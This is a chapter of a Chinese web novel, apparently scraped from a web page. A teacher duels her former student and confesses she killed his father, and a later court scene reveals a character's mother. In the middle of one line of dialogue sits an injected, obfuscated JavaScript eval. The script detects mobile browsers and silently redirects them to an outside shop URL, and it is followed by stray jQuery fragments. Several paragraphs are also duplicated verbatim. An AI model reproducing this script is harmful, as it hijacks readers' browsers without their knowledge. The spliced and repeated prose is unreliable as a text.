65.妈妈

作品:《反派?那也得冲业绩!

    “小心!”


    黛温脱口而出,一脸惊异。


    乐摹被她掀翻在地的一瞬间突然不动弹了,明明有躲开的时间,他却就这么冷静点坐在地上,黛温眼底一热,剑锋停在青年脖颈处,差一点点就能割开他的脖子。


    从没一次这么庆幸过自己及时止损的控制力,也从没一次这么厌恶过自己的优柔寡断。


    “我应该教过你,对决一旦开始就不能半途而废吧。”黛温退开一步,重新做出进攻姿态:“站起来,重新开始!”


    “老师,我不明白。”


    黛温呼吸一滞,不想再看他:“不明白什么?”


    “不明白你到底在想什么。”乐摹坐在地上,完全没有斗志,仰视着她:“如果你嫉恨我的天赋,担心有一天我会取而代之,那你当年为什么要把我留在你的身边,甚至一开始就把我钉死在副官的位置上。你对我那么好,你教我怎么处理人际关系,教我怎么平衡体术训练和修行……教我怎么成为你。”


    黛温的五官是成熟稳重的,即使生气,也不会眉飞色舞,就像现在这样,就算到了终结,她也会戒备的听乐摹把话说完。


    “是你告诉我衣服怎么搭,纠正我那些粗枝烂叶得针线活,困顿时借钱给我,教育我对每一场恋爱负责,责骂我染上不良嗜好,骂我说脏话,劝我对自己大方,花钱不要斤斤计较……”乐摹说着说着,声音越来越小,“你和乐茴是这世界上对我最好的人,我可以为你们付出生命,可为什么你们一个两个都要背弃我?不告诉我为什么,让我一个人猜来猜去,我真的撑不住了,老师。”


    “理由?你应该很清楚吧。”黛温冷声说。


    乐摹抬起头:“什么?”


    黛温的声音很温柔,也很伤人:“伊骨美和你断绝兄妹关系,是因为你回避对她的感情,有意疏远她。她在你这里得到的关爱甚至不如要了她命的大董多,所以她不要你了。”


    “至于我,没有别的,就只是嫉妒。”黛温说。


    “你说谎。”


    黛温:“我不屑于对一个自己看着长大的孩子说谎。”


    乐摹仍然不愿相信:“你一而再再而三的针对我,难道你真就忌惮我到这种地步?”


    “我忌惮你,我针对你?你能把遭到的一切不公都怪罪到我头上吗?”黛温嘴角泛血,似乎释怀了什么,好笑的倪他一眼:“余琼是怎么栽培兰智的,他可比我负责多了,而你那个好搭档兰智呢?转身就把他踢开,你们私下总说元祈心肠太狠,总说如果余琼继续当政就绝不会放任恶势力横行,可难道余琼被架空就没有你们这些人的功劳?人心难测,我不得不防你。”


    乐摹咬牙切齿:“这就是你拿我家人威胁我的理由?”


    “不对,这不过是你自命清高的报应。”黛温苦笑着摇头,“这是逆行的后果,你也说我教过你很多,那你就应该知道我是个世俗的凡夫俗子,我也怕自己辛勤的耕耘到最后,被冻僵的毒蛇咬掉性命。”


    “认清现实吧乐摹,这里可不是游乐园,站在你面前的也不是那个你爱戴的老师了。”黛温最后一次警告他:“再不站起来,会有什么后果,你知道的。”


    所有人都进化出尾巴鱼鳃入了水,留在岸上的你就会变成观赏动物。


    黛温观赏着这条自己养大的鱼,这么多年,她最害怕的,就是有朝一日,看到乐摹拿着自己交给他的剑,抵着自己脖子,而自己却毫无还手之力的场景。


    但没想到这一天来了,等到的却是乐摹拒绝和她开战。这种荒唐的展开,更是令人心寒。


    “要怪就怪你那累赘得家庭吧,兴许没有他们,我还真拿捏不了你。”看着乐摹渐渐阴沉的脸色,黛温意外他居然没有反驳,而是绷着脸一语不发,她顿时痛快淋漓:“还想像之前那样嘴硬自己也受家庭温暖吗?别开玩笑了,其实你自己也觉得她们是累赘吧……”


    “我说了我只想听实话……”乐摹像是无药可救了:“你别在骗我了行吗。”


    黛温冷哼了一声,索性刺了上去。


    乐摹微微偏过头,暴力的剑锋擦破了他脖子边缘的皮肤,他握住剑锋,脸色苍白:“我可以自断口舌,只求你告诉我为什么。”


    这任人宰割的举动让黛温瞳孔猛地收缩,他原以为乐摹至少会奋起反抗的。


    没错,黛温气急反笑。


    乐摹,她的好学生,和她一样,就是这样一个固执又幼稚的人。


    她看到乐摹撑着地面的另一只手。指甲深深掐进掌心,在皮肤下刻出月牙形血痕,却仍无法驱散心里撕裂般的剧痛——他既是扬言要弑师的逆徒,也是那个曾和老师亲如姐弟的少年。两个自己在胸腔里厮杀,将心脏碾成齑粉,这滋味不会好受。


    “如果我告诉你实话,你会堂堂正正的和我一战吗?”


    扎进手掌的剑锋还在用力,乐摹痛的闭眼:“我保证。”


    “难得你这么自私……”黛温收了刀,“没想到把自己优先放在第一位这个简单的道理,我教了你这么多年你都装聋作哑,直到今天我们刀剑相向,你才终于学会了。”


    乐摹捂着手心:“如果我死了,我的家人……”


    “你的遗物,我都会保存完整。”黛温低声惋惜:“但只怕你到现在为止,提起家,想到的还是侑清殿吧。”


    乐摹一愣,无意识的笑了。


    黛温说的对。


    说到家,他先想起的会是黛温掌控下的侑清殿,而不是那个住着自己亲生妹妹和母亲的房子。


    从懂事起,就一直是他在照顾家人,他打拼赚钱,他养家糊口,真正把他当个孩子,关照他的……只有黛温。


    真好笑,自己还在思考黛温的辩白。


    乐摹嘴角不受控地剧烈颤抖,泪水毫无预兆地漫上眼眶,又被他生生逼回,只在眼尾烧出通红的痕迹。


    “……老师。”


    “你的父亲,也叫乐摹。”黛温开始平静的讲述,就像在回忆一个老朋友。“他和你一样,年纪轻轻来到云宫,不知天高地厚,总是给我惹麻烦。”


    “你比他更聪明,比他更优秀,也比他更蠢。”


    “我参加过他的婚礼,见过他的新娘,参加过他儿子的满月宴。”


    “后来他死了,我杀的。”


    “第一次听到你的名字,看到你的照片,我就知道你是谁。”黛温说:“就像看到一个老熟人返老还童。”


    “可能是出于谨慎或者别的什么愧疚心,我调查了你的生活。你不过是个,为我和你父亲斗争买单的孩子,实在无辜。我当时下定决心,无论如何都要把你留在身边补偿你。”


    “你父亲没有教你的我来教,你母亲没有说的我来说。”


    乐摹静静地听着,黛温看着他已经完全脱离青涩的成熟的面庞:“我本来打算,无论你闯多少祸,都一直保护你……”


    “可伊骨美的事发生后,尤渚看到了你的才能和弱点,她想要把你收入乌盟。乌盟是天国最深、最黑、最鱼龙混杂的地方,一旦你加入乌盟,顷刻之间,我和你父亲当年的斗争和丑事都会被你知道,我势必遭到你的报复,这是我最不想看到的局面。”


    “……”


    黛温语气不再轻松:“虽然这件事在我和……另一个人的努力下不了了之,但我还是无法安心。你知道,心这个东西,一旦埋下种子,就会引来飞虫,除非连根拔起否则……”


    “乌盟。”乐摹疲惫的闭上双眼,“又是乌盟!”


    “我没有父亲,我哪来的什么父亲!他没给我吃过一口饭,没跟我说过一句话,我没有父亲!”乐摹低声怒吼,哽咽起来:“他给我留下一个支离破碎的烂摊子,现在还要毁了我第二个家吗!”


    如她所料,真相无法让乐摹从一个他不在乎,或者说内心深处埋怨的人身上汲取勇气,来向一个他珍爱多年的人挥舞刀剑。


    乐摹,他养大的孩子,倒地是偏向她的。


    黛温无暇顾及这份难缠的情感,他只在乎乐摹混乱的思想。提醒:“现在说到家,你先想起的,居然还是侑清殿。”


    乐摹绝望的摇头。


    黛温说的对,如果说到家,他先想起的会是黛温掌控下的侑清殿,而不是那个住着自己亲生妹妹和母亲的房子。


    从懂事起,就一直是他在照顾家人,他打拼赚钱,他养家糊口,真正把他当个孩子,关照他的……只有黛温。


    真好笑,自己还在思考黛温的辩白。


    乐摹嘴角不受控地剧烈颤抖,泪水毫无预兆地漫上眼眶,又被他生生逼回,只在眼尾烧出通红的痕迹。


    “……老师。”


    黛温冷言冷语:“乐摹。”


    没有下一次了。青年终于站起来,提起刀:“黛温。”


    “黛温作为九司中资历最老的长官,忌惮她一手提拔重用的副官乐摹,忌惮他会将自己杀死取而代之,于是选择在乐摹在执行任务的时候下了杀手。”


    “好在乐摹命大,没有死在麦乡。”兰智斩钉截铁:“这种事曾经也有过案例,按照判决结果,应该判处黛温死刑。”


    元祈像个没有情绪的雕塑,一副置身事外的模样,回她:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074394|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    处死司命级别的长官,是大事。”


    “难道谋杀副官级别的官员是小事?”


    兰智摊手,严肃的扫过在场大小所有官员:“在场诸位,将来如果也遇到这种歹毒的上司,被赶尽杀绝到此,也是小事?”


    她话音一落,立刻成为众矢之的,无数犀利的目光刺在她身上,季闪蔷有些害怕的抓住了她的袖子。


    她分毫不退:“我要求立刻投票表决。”


    元祈抬起手,喧闹声戛然而止,他居高临下的看着兰智:“投票表决已经被废止了。”


    “什么?”天蓝色的眼睛里写满了不可置信,兰智好笑道:“火司,你这是要独裁吗?”


    元祈懒得和她多解释,轻轻说了一句:“别忘了你现在的身份,兰智,你不再是戒律殿的人了,不再是雷司的副官,更不是乐摹的搭档,作为外交官,插手的未免太多了。”


    兰智不得已闭上了嘴。


    季闪蔷低着头,一不留神瞥见兰智青筋暴起的小臂,提起一口气。


    “要是此刻我在你身边就好了。”她又无知无觉的自言自语起来,可能连她自己都意识不到自己在说什么。


    “你回来了,就可以了。”


    兰智轻轻拍了拍她细小的胳膊,似有似无的感慨着。


    不,不对!季闪蔷抬起头,只能看到兰智目视前方留给自己的侧脸。


    “愚蠢!”


    乐摹惋惜中带着恨铁不成钢,刀剑直指女人面门:“为了一时的安逸委身在泥潭中,你自寻死路吗?”


    “你对我说教?”黛温捂住流血的侧颈,感受着这份疼痛,“我确实错了,错在当年那么多孩子里选择了你这个犟种。这么多年过去,连兰智都软化了,只有你,还跟个傻瓜一样,不肯退一步。”


    “老师……”


    黛温不再多说什么。


    “你是不是忘了。”乐摹眼底浮出一丝哀怆,声音也变得沙哑,他看着自己的老师就像在看一个陌生人,面目全非。“当年不是你选的我,是我选的你!”


    “是我这个第一,选了你当我的老师。”


    黛温眼睫似乎颤动了一下,但她没有多余的精力再看乐摹的表情,她必须调动全身力气,来思考怎样力挽狂澜。


    她绝不能输,至少要挺到……右天王回来。


    为什么?


    季闪蔷有些着急了,她已经见过了云宫几乎所有的人,她甚至潜意识里知道“元祈”这个名字,可星乙的记忆就像故意和她作对,迟迟不肯透露出一点有用的东西。


    兰智的告诫左耳进右耳出,她只知道她还没能见到某个可以把星乙的回忆刺激出来的人。不是改名换姓要帮他复仇的罗新,不是他诚心相待的朋友乐摹,也不是和她水火不容的兰智,不是这千千万万人……可到底什么人,比这么多人加起来都要重要。


    到底是什么人?能让回忆像大雨倾盆而下?她一无所知。


    或者,那个人已经死了。


    现实,兰智还在据理力争,季闪蔷难掩失望,也正当她陷入山重水复,背后的大门突然传来不重不轻的声音。她便顺着声音望去,那扇雪白镶了金边的大门被人从中间推开,出现的是一个让季闪蔷意外的人。


    那是星乙短暂记忆中,出现过一次的小少年,现在应该叫大少年了。


    是那个曾经跟在星乙身边的下属。


    赛江。


    这个名字突然出现在脑海里,季闪蔷屏息凝神,除了感伤,没有任何感觉,显然也不是这个人。她不禁想,星乙真的有什么最在意的人吗?怎么会有人贯穿人生始终呢?


    一个从出生起就陪着你,和你有斩不断的联系的人,能贯穿人生始终的人,怎么可能存在?


    就算有,能是谁?


    “妈妈。”


    一声惊雷在耳边炸开,伤的季闪蔷满心疮痍,她飞快搜寻声音的来源,是那个看起来冷漠无比的元祈。他对着大门的方向呼唤了一声,很小很小的声音,季闪蔷不知道自己是怎么在喧闹的人群中听到的,可她就是听到了。


    妈妈吗?


    是妈妈。


    从门后走出的母亲一身白衣,背光而来的人影漆黑,她的身体是唯一能不被刺伤眼睛的地方,女孩只好看着她的身躯,视线落在那平整的腹部。


    意识到她是谁,一切都来不及了。


    季闪蔷浑身开始颤抖,脑海中那团杂乱无章的东西,终于一瞬间被针线穿起,缝缝补补,交到了她的手上。


    “尤渚。”季闪蔷念出那个名字,忽然很想哭:“尤渚……